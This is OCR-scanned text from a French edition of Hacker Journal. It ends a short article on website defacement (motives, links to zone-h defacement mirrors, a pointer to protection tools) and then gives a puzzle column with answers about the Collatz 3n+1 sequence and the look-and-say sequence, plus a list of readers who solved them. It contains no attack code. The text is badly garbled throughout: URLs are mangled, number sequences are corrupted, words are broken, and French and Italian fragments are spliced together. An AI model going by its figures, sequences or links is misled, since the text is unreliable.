rité afin de pénétrer dans un site Web. La page
détournée pouvait ainsi afficher des phrases péjo-
ratives, des blagues ou des liens anonymes pour
se mettre en contact avec |'agresseur.

Les hackers de plus haut niveau ont déja aban-
donné ce type de défacement. |Is préferent désor-
mais |'anonymat absolu qui consiste a s'introduire
dans un site sans laisser aucune trace. Les raisons
du défacement sont diverses : parfois, les pirates
agissent pour leur propre compte, dans leur seul
intérét, mais pas toujours. On peut en trouver un
exemple - un défacement réalisé par un hacker ita-
lien - sur le site hitp://zoneh.org/en/defacements/mir-
ror/id=1984108/

Beaucoup de défacements ont pour cible les sites

institutionnels - en raison de leur libre acces -

fiant. ©5
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dans un but de protestation sociale ou de reven-
dications politiques. Mais les défacements les

plus pernicieux organisés par des communautés de hackers se
font & {'encontre des sites, souvent ” open source *, d’organisations
caritatives. Inutile de préciser que ces procédeés, outre qu'ils sont
indignes, sont sans préavis de I'administration du systeme.

Les défacements perpétrés en 2003 sont divisés
selon les systemes d'exploitation (0S).
Plusieurs programmes software de protection contre

ces attaques sont disponibles ici : www.insecure.org/tools. htm|

nalites requises

Linux et Windows est indispensable.

ne bonne connaissance des systémes d'exploitation Unix,

Il existe différents modes de pénétration dans un serveur, mais la
" réussite " de I'opération est presque toujours a mettre sur le compte

d'un défaut du systéme ou de ['incapacité de 'administrateur a pren-
dre les mesures appropriées pour la protection de son réseau.

c:;nstruire un systéme complétement protégé est presque impossible,
mais on peut parvenir a un plus haut niveau de protection en approfon-
dissant ses propres connaissances des divers systémes d'exploitation. Pour

cela, il est nécessaire de bien suivre les modes d'installation indiqués dans
les manuels. Les hackers détournent de préférence les sites et programmes
faiblement protégés, car plus || faut de temps pour desorgamser un sysl&

i 8ré pa te )

UNE IMPORTANTE COLLECTION DE SITES DEFACES SE TROUVE A CETTE ADRESSE : http://zone-h.org/




D:: H:Fnﬂszs MANQUE DE CLARTE

YOICI LES QUE

STIONS DE LR wnm%mzsmz DU NUMERDO 5 :

POUR TOUS | Combien d'étapes faut-il
pour atteindre le chiffre 1 avec la série 3n+1
en commencant par le chiffre 27 ?

Le chiffre est
GRWMHXFUSPVQNJJPJVWGFOFATLQ
RFR et la clé est 19. Chaque lettre corre-
spond aun Chlffl'e Quel est le message ?

: La clé est
1321 13213221 1 331 12132123222110.
Comment I'avons- nous générée ?
POUR LES SUPER HACKERS : Ecrire
un programme qui accepte un chiffre et qui
reproduise les étapes de la série 3n+1.Ou
bien rédiger un programme qui produise
tout seul, jusqu'a l'infini ou pour un certain
nombre d'étapes arbitraires, la série pour
les génies. Qui peut arriver a trouver une
série tres simple qui produise une série
intéressante, comme
01101001100101101001011001101001?

Les reponses étaient...

[CyberBuugma: Fatti in serie
Hacker Journal N°66

I (T1id
1) L hailstone sequences dz! numero 27 &:

27, 82,41, 124, 62, 31, 94, 47, 142, 71, 214, 107, 322, 161,484, 242, 121, 364, 182, 91,
274, 137,412, 206, 103, 310, 155, 466, 233, 700, 350, 175, 526, 263. 790, 395, 1186,
593, 1780, 890, 445, 1336, 668, 334, 167, 502, 251, 754, 377, 1132, 566, 283, 839, 425,
1276, 638, 319, 958, 479, 1438, 719, 2158, 1079, 3238, 1619, 4858, 2429, 7288, 3644,
1822, 911, 2734, 1367, 4102, 2051, 6154, 3077, 9232, 4616, 2308, 1154, 577, 1732,
866,433, 1300, 650, 325, 976, 488, 244, 122, 61, 184, 92, 46, 23,70, 35, 106, 53, 160,
80.40,20,10,5.16,8.4.2,1

2) Da questo sito £ possibile inserire un numero e ottenerne Ihailstone sequences:
hhn i du/—ratering fun/ il yto e himl

S1pud anche scancare un programma da
bt g ert cwnng be TIIMS o8 Madstone bt

3) Ii problema 3a+1 pud essere chiamato anche Collatz Probler, Hasse's algonthm,
Rakntani's problem, Syracuse algorithm, Ssracuse problem, Thwaitzs contecture, aud
Dla's problem

POURTOUS : 111, La série 3n+1 est con-
nue sous le nom de conjecture de Collatz.
A l'adresse http://did.mat.unibayreuth.de/
personen/wassermann/fun/3np1_e.html,
on trouve un petit moteur qui caicule auto-
matiqguement le parcours de chaque chiffre.

On peut trouver également d'autres infor-
mations a l'adresse http://personal.compu-
train.nl/eric/wondrous
FIREFOXMOL-

TOMIGLIOREDIEXPLORER

-5 ¢ Pour créer la série,
nous sommes partis du chiffre 0. La série
est composée de "1 et 0", donc cela don-
ne 10. Comme "deux 1 et un 0" donne 110
ou "trois fois 1 et une fois 0" donne 3110,
et ainsi de suite.
POUR LES SUPER HACKERS : Une
solution possible est le JavaScript que l'on
trouve a l'adresse : hitp://trucsmaths.free.fr/
js_syracuse.htm# essayez.

o
[y
o110
2001
0210100110010110
G1101001100101101001011001101001  <-- ecco Ta stringa pubblicata su
l
01102002100101101002 011 GOLEL (011001 AL1 0011 01041 01101 0011001 G110

Ua rivista

Stops fe reuch |
175)
150
123]
100

75
'L' R T Wi

| 27 {411, gassiy®

}25 {10 passi)

SO0 400 S00 E00 pood

Uoici les réponses !

POURTOUS : 4NG3LO (Premier arrivé !
Nous publierons le reste dans un prochain
courrier), Yahoo, Microfrog (nous som-
mes en train de nous exercer sur tes énig-
mes !), Vise89, DarkVampire909, Simone
“The Crow” (Excel), rodry, .moronc..
Mestola, Infernet89, Scott

Adamkllss

Mr. 18, MatteoGeniaccio (Visual
Basic), impy, KillorXian, Marco Mannel-
li.
SUPER : Thorn (Java, méme notre prof!),
Syst3m Crash3r 480 (C,

??????i APRPRRAVIMR "-"-'? st g F b T b oo g T g

L INEXT :ql:m:mﬁ il

ut en ayant répondu aux questions
posées dans la section super hac-
kers je vous informe du manque de clar-
té des questions destinées, d'une part aux

experts, d'autre part aux génies [...]
vagabondo

Cher Vagabondo,

Nous essaierons a l'avenir d'étre plus
rigoureux. Mais, tout de méme, quelques-
uns ont compris sans que nous ayons a
faire une dissertation mathématique...
Merci de ta remarque et a la prochaine !

http://www.syst3mcrash3r.altervista.org),
ingtosi (C), vagabondo (C++), NDV
(Visual Basic), Mikispag (Pascal), Fire-
Storm (Php), Bigthistle (grande!), Snake-
blu (Java), Worldshining (exécutable), -

7 ._.-(EaglE)-._. T -._.- (C),
open mmd (Python, 14 ans D), Libero_4
(C), Temez (Pascal), JOE (Visual Basic,
consacré a Chia), CMOS (VB6), EgiX
{JavaScript et VB), claudio carletti (Java),
Enrico Sunseri (http://www.cs.oswego.
edu/~blue/book/parti/start.html), Kaesar83
(script mIRC), Andrea Fadda (C), DU3
(Pascal et bash), Matteo "Field" Campo
Dall'Orto (PHP), DevilAngel666 (C), Laki-
tu (Python), SkataAlice (C), Black Anti-
toon (VB, http://utenti.lycos.it/antitoon),
c1a0 (Turbo Pascal).

s la seria iniziasse per 1 il risultato sarebbe questo
1

1

2

121

1m2a

312211

131122211

113213231

3113121113121311
132113111231131112111321
11131221133112132113311231131211
SNZN212211 211131 2122112121 13111221

{a regola @ semplice poichg, invece di seguire una regola matematica bisogna
seguire |e regole lingwstiche cioé quello che leggi & quelio che scrivi:

0

18 unol

1110 un 1 uno 0

3110 tre ¥ uno0
132110 un 3 due 1 uno B

in lettere ho scritto il valore che leggo
dalla riga precedente.

Salut, a la prochaine 'Toujours indiquer
cyberen/gme et le numéro du magazine
dans les réponses | Ecrire a I'adresse indi-
quée sur la page ou a celle ci-dessous !
Bary the Gnoll

ARRPIPIPIPRRRRRIIIIR?
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